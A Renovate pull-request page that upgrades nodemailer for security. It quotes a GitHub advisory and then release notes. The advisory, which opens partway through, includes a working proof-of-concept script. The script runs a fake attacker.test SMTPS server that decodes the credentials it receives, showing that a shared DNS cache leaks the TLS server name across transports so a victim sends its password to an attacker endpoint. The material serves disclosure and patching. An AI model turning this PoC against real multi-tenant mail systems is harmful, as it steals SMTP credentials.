const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => {
    observedSni.push(socket.servername);
    socket.write('220 attacker.test ESMTP\r\n');
    let input = '';
    socket.on('data', chunk => {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf('\r\n')) >= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write('235 2.7.0 Authentication successful\r\n');
            } else if (/^QUIT/i.test(line)) {
                socket.end('221 Bye\r\n');
            } else {
                socket.write('250 OK\r\n');
            }
        }
    });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },
        tls: {
            ca: cert,
            servername: 'attacker.test',
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victimTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'victim@example.test', pass: 'victim-secret' },
        tls: {
            ca: cert,
            servername: 'victim.test',
            rejectUnauthorized: true
        }
    });
    await victimTransport.verify();
    victimTransport.close();

    const decoded = observedAuth.map(line =>
        line.startsWith('AUTH PLAIN ')
            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()
            : null
    );

    console.log(JSON.stringify({
        attackerConfiguredServername: 'attacker.test',
        victimConfiguredServername: 'victim.test',
        serverObservedSniForBothConnections: observedSni,
        serverReceivedCredentials: decoded
    }, null, 2));
} finally {
    shared.dnsCache.clear();
    await new Promise(resolve => server.close(resolve));
}
3. Build and run

From the Nodemailer checkout:

npm install
npm run build
node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs
Observed result
{
  "attackerConfiguredServername": "attacker.test",
  "victimConfiguredServername": "victim.test",
  "serverObservedSniForBothConnections": [
    "attacker.test",
    "attacker.test"
  ],
  "serverReceivedCredentials": [
    "\\u0000attacker@example.test\\u0000attacker-secret",
    "\\u0000victim@example.test\\u0000victim-secret"
  ]
}

The victim configured victim.test, but the server observes attacker.test for both handshakes. The local certificate contains only attacker.test, yet the victim connection succeeds with rejectUnauthorized: true and then sends the victim's username and password.

Expected result

The second connection must use victim.test for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as attacker.test.

Impact

The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS host. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's tls.servername. During the cache lifetime, a victim's direct SMTPS connection to that host can:

  1. send the attacker's server name as SNI;
  2. be routed to the attacker's TLS virtual host;
  3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and
  4. transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.

Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.

Preconditions and limitations
  • Two transports must execute in the same Node.js process within the cache lifetime.
  • They must use the same non-IP host cache key and different tls.servername values.
  • Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.
  • The demonstrated path uses direct SMTPS (secure: true). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.
Suggested remediation

The DNS cache should store DNS data only. servername is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.

One approach is to remove servername from DnsCacheValue and derive the returned value from the current request on every path:

return {
    host: selectedAddress,
    servername: options.servername || options.host || false,
    _addresses: addresses,
    cached: true
};

As defense in depth, _resolveAndConnect() should not overwrite an explicitly configured opts.servername with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.

A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nodemailer/nodemailer (nodemailer)

v10.0.2

Compare Source

Bug Fixes
  • mime-node: flatten nested recipient arrays without recursion (ebe0849)
  • shared: keep the TLS server name out of the DNS cache (a6512db)

v10.0.1

Compare Source

Bug Fixes
  • types: accept an explicit undefined for optional properties (209719d), closes #​1853
  • types: drop the internal members from the published declarations (81e64ea)

v10.0.0

Compare Source

⚠ BREAKING CHANGES
  • Node.js 20 or newer is required. The Node.js 6 syntax compatibility check and the .npmignore file are gone.
Features
Bug Fixes
  • apply the other keys of a configuration object next to its url (29610f9)
  • dkim: canonicalize raw messages the way verifiers do (2c84b11)
  • keep a transporter assignable to the plain Transporter type (8bf55fb)
  • shared: keep a colon in the user name of a connection or proxy url (6acf4b6)
  • shared: refuse URL hosts the legacy parser would truncate (17a5068)
  • shared: resolve hostnames when the runtime has no interface table (8b03240)
  • smtp-connection: clear the timers of a connection dropped before the greeting (01dcaa0)
  • smtp-connection: keep an incomplete server reply out of lastServerResponse (1a6e427)
  • smtp-pool: free the pool slot when the proxy socket can not be opened (204a344)
  • well-known: keep nodemailer/lib/well-known/services.json available (367730c)

v9.1.1

Compare Source

Bug Fixes
  • mailer: apply the message access policy in resolveContent (dc48ed3)
  • mailer: keep message data from reopening the access sandbox (ab7ef34)
  • mime-node: inherit the access policy from the tree a node hangs in (262d550)

v9.1.0

Compare Source

Features
  • mailer: cap recipients per message with maxRecipients (7279ac8)
Bug Fixes
  • addressparser: handle address lists in linear time (9116da9)
  • addressparser: terminate the domain at an RFC 5322 comment ([902b63e

❗ Important

✂ PR body was truncated to here.


Configuration

📅 Schedule: (in timezone Asia/Shanghai)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate-approve[bot]
renovate-approve Bot previously approved these changes Sep 10, 2026
@mergify

mergify Bot commented Sep 10, 2026 •

Copy link
Copy Markdown

Tick the box to add this pull request to the merge queue (same as @mergifyio queue).

  • Queue this pull request

@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from b2e37f6 to 1b56929 Compare September 11, 2026 00:42
@renovate renovate Bot changed the title Update dependency nodemailer to v9.1.0 [SECURITY] Update dependency nodemailer to v9.1.1 [SECURITY] Sep 11, 2026
renovate-approve[bot]
renovate-approve Bot previously approved these changes Sep 11, 2026
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from 052118f to 833e398 Compare September 19, 2026 10:36
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 833e398 to 5edb837 Compare October 1, 2026 17:38
@renovate renovate Bot changed the title Update dependency nodemailer to v9.1.1 [SECURITY] Update dependency nodemailer to v10 [SECURITY] Oct 1, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants